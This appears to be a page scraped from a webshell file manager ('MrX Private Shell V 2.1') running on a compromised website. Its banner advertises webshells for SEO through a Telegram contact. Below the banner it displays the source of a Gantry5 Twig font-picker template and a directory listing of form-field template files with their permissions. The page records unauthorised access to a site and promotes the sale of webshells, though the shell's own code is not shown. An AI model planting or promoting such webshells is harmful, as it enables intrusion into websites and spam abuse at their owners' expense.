__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
{% extends default ? "partials/field.html.twig" : 'forms/' ~ layout|default('field') ~ '.html.twig' %}
{% block input %}
{% set local_fonts = gantry.theme.details.configuration['fonts']|default([]) %}
{% set map = [] %}
{% for name, variants in local_fonts %}
{% if variants is iterable %}{% set variants = variants|keys %}
{% else %}{% set variants = ['regular'] %}{% endif %}
{% set map = map|merge([{ family: name, variants: variants }]) %}
{% endfor %}
<div class="g-fonts">
<div class="input-group append">
<input
{# required attribute structures #}
type="text"
name="{{ (scope ~ name)|fieldName }}"
value="{{ value|join(', ') }}"
{# global attribute structures #}
{{ block('global_attributes') }}
{# non-gloval attribute structures #}
{% if field.autocomplete in ['on', 'off'] %}autocomplete="{{ field.autocomplete }}"{% endif %}
{% if field.autofocus in ['on', 'true', 1] %}autofocus="autofocus"{% endif %}
{% if field.disabled in ['on', 'true', 1] %}disabled="disabled"{% endif %}
{% if field.list is defined %}list="{{ field.list }}"{% endif %}
/>
{% set picker = {'field':'input[name="' ~ ((scope ~ name)|fieldName|e) ~ '"]'} %}
<span class="input-group-btn">
<button class="button" type="button" aria-label="{{ 'GANTRY5_PLATFORM_SELECT'|trans }} {{ field.label|trans_key('GANTRY5_FORM_FIELD', scope, name, 'LABEL') }}" data-g5-fontpicker="{{ picker|json_encode()|e('html_attr') }}">
<i class="fa fa-font" aria-hidden="true"></i>
</button>
</span>
</div>
</div>
{% endblock %}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| group | Folder | 0775 |
|
|
| block-variations.html.twig | File | 1.22 KB | 0664 |
|
| checkbox.html.twig | File | 905 B | 0664 |
|
| color.html.twig | File | 791 B | 0664 |
|
| colorpicker.html.twig | File | 1.33 KB | 0664 |
|
| date.html.twig | File | 1.16 KB | 0664 |
|
| datetime-local.html.twig | File | 1.17 KB | 0664 |
|
| datetime.html.twig | File | 1.16 KB | 0664 |
|
| email.html.twig | File | 1.38 KB | 0664 |
|
| file.html.twig | File | 934 B | 0664 |
|
| filepicker.html.twig | File | 1.77 KB | 0664 |
|
| fonts.html.twig | File | 1.85 KB | 0664 |
|
| hidden.html.twig | File | 690 B | 0664 |
|
| icon.html.twig | File | 1.56 KB | 0664 |
|
| image.html.twig | File | 912 B | 0664 |
|
| imagepicker.html.twig | File | 210 B | 0664 |
|
| month.html.twig | File | 1.16 KB | 0664 |
|
| multicheckbox.html.twig | File | 1.11 KB | 0664 |
|
| number.html.twig | File | 1.34 KB | 0664 |
|
| password.html.twig | File | 1.37 KB | 0664 |
|
| radio.html.twig | File | 902 B | 0664 |
|
| radios.html.twig | File | 738 B | 0664 |
|
| range.html.twig | File | 1.07 KB | 0664 |
|
| reset.html.twig | File | 601 B | 0664 |
|
| search.html.twig | File | 1.46 KB | 0664 |
|
| section-variations.html.twig | File | 1.22 KB | 0664 |
|
| selectize.html.twig | File | 331 B | 0664 |
|
| submit.html.twig | File | 602 B | 0664 |
|
| tel.html.twig | File | 1.37 KB | 0664 |
|
| text.html.twig | File | 1.45 KB | 0664 |
|
| time.html.twig | File | 1.16 KB | 0664 |
|
| url.html.twig | File | 1.37 KB | 0664 |
|
| videopicker.html.twig | File | 206 B | 0664 |
|
| week.html.twig | File | 1.16 KB | 0664 |
|